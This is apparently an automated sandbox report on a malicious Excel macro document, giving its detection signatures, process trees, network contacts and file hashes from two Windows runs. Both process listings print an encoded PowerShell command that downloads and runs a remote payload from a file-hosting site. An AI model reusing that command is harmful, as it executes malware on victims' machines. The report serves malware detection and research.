Malware Analysis Report

2025-03-15 07:56

Sample ID 240808-1qneysthmd
Target a035f44ccf12b44300fad416a2d7da5f7b2c76e9a91ed1deb5ad56fefd8c21d4
SHA256 a035f44ccf12b44300fad416a2d7da5f7b2c76e9a91ed1deb5ad56fefd8c21d4
Tags
macro macro_on_action discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

a035f44ccf12b44300fad416a2d7da5f7b2c76e9a91ed1deb5ad56fefd8c21d4

Threat Level: Known bad

The file a035f44ccf12b44300fad416a2d7da5f7b2c76e9a91ed1deb5ad56fefd8c21d4 was found to be: Known bad.

Malicious Activity Summary

macro macro_on_action discovery

Process spawned unexpected child process

Office macro that triggers on suspicious action

Suspicious Office macro

Blocklisted process makes network request

Deletes itself

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

Suspicious behavior: RenamesItself

NTFS ADS

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-08 21:51

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-08 21:51

Reported

2024-08-08 21:52

Platform

win10v2004-20240802-en

Max time kernel

47s

Max time network

35s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a035f44ccf12b44300fad416a2d7da5f7b2c76e9a91ed1deb5ad56fefd8c21d4.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

NTFS ADS

Description Indicator Process Target
File created C:\Users\Admin\AppData\Local\Temp\45975E00\:Zone.Identifier:$DATA C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a035f44ccf12b44300fad416a2d7da5f7b2c76e9a91ed1deb5ad56fefd8c21d4.xls"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADEAMAA4ADEAMwA3ADkANAAvAGUAeABwAGwAbwBpAHQALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""

Network

Country Destination Domain Proto
US 8.8.8.8:53 tmpfiles.org udp
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 172.67.195.247:443 tmpfiles.org tcp
US 8.8.8.8:53 247.195.67.172.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 240.143.123.92.in-addr.arpa udp
US 8.8.8.8:53 98.242.123.52.in-addr.arpa udp
US 8.8.8.8:53 26.73.42.20.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp

Files

memory/3592-0-0x00007FF97C530000-0x00007FF97C540000-memory.dmp

memory/3592-2-0x00007FF97C530000-0x00007FF97C540000-memory.dmp

memory/3592-3-0x00007FF97C530000-0x00007FF97C540000-memory.dmp

memory/3592-5-0x00007FF9BC54D000-0x00007FF9BC54E000-memory.dmp

memory/3592-4-0x00007FF97C530000-0x00007FF97C540000-memory.dmp

memory/3592-6-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp

memory/3592-8-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp

memory/3592-10-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp

memory/3592-11-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp

memory/3592-12-0x00007FF979E10000-0x00007FF979E20000-memory.dmp

memory/3592-9-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp

memory/3592-7-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp

memory/3592-1-0x00007FF97C530000-0x00007FF97C540000-memory.dmp

memory/3592-14-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp

memory/3592-13-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp

memory/3592-16-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp

memory/3592-22-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp

memory/3592-21-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp

memory/3592-20-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp

memory/3592-19-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp

memory/3592-18-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp

memory/3592-17-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp

memory/3592-15-0x00007FF979E10000-0x00007FF979E20000-memory.dmp

memory/3592-50-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp

memory/3592-49-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rkfpfaoi.4t5.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/548-62-0x0000028EAC960000-0x0000028EAC982000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\a035f44ccf12b44300fad416a2d7da5f7b2c76e9a91ed1deb5ad56fefd8c21d4.xls

MD5 1efaba331b01e9b5fe2802b86fe383f9
SHA1 acf84ad0480ddfa14a24cd03414c5f91c687e7e2
SHA256 3bf387166fab9215af27b2334b35eb43beb196cbde5a7a612aa4324c9e9d2d6a
SHA512 d250eaa792f7a60176ab3edfaee1136bac02aec93134ea0e99161889149582e601ed11c37db7abb93e8ca3c1306dd8dd4bb18cbf44f7d893768c00f1888fa99d

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 886b0cc790efe92cd60559cdcd4cb31a
SHA1 8816a1819ee0c1a6f01dd6102ffa881b1c9e5056
SHA256 021de49edcdcd1945961209a453dc863826efe1f1bd44c56010d6fa99cf03c8d
SHA512 096261e8aab79d0425a090ffe1b739a8d6f00c1d373fa24c5623fae4282fed80bd945ca5f80ba1d16703ca9388fe47aadaf7de058e375e1190c6a4aef06182bd

memory/3592-89-0x00007FF9BC4B0000-0x00007FF9BC6A5000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-08 21:51

Reported

2024-08-08 21:52

Platform

win7-20240704-en

Max time kernel

23s

Max time network

16s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\a035f44ccf12b44300fad416a2d7da5f7b2c76e9a91ed1deb5ad56fefd8c21d4.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

NTFS ADS

Description Indicator Process Target
File created C:\Users\Admin\AppData\Local\Temp\0A077F00\:Zone.Identifier:$DATA C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: RenamesItself

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\a035f44ccf12b44300fad416a2d7da5f7b2c76e9a91ed1deb5ad56fefd8c21d4.xls

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADEAMAA4ADEAMwA3ADkANAAvAGUAeABwAGwAbwBpAHQALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""

Network

Country Destination Domain Proto
US 8.8.8.8:53 tmpfiles.org udp
US 172.67.195.247:443 tmpfiles.org tcp
US 172.67.195.247:443 tmpfiles.org tcp

Files

memory/2080-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2080-1-0x0000000071D5D000-0x0000000071D68000-memory.dmp

memory/2080-3-0x0000000000450000-0x0000000000550000-memory.dmp

memory/2080-2-0x0000000000450000-0x0000000000550000-memory.dmp

memory/2080-5-0x0000000000450000-0x0000000000550000-memory.dmp

memory/2080-6-0x0000000000450000-0x0000000000550000-memory.dmp

memory/2080-4-0x0000000000450000-0x0000000000550000-memory.dmp

memory/2080-7-0x0000000000450000-0x0000000000550000-memory.dmp

memory/2080-15-0x0000000071D5D000-0x0000000071D68000-memory.dmp

memory/2080-16-0x0000000000450000-0x0000000000550000-memory.dmp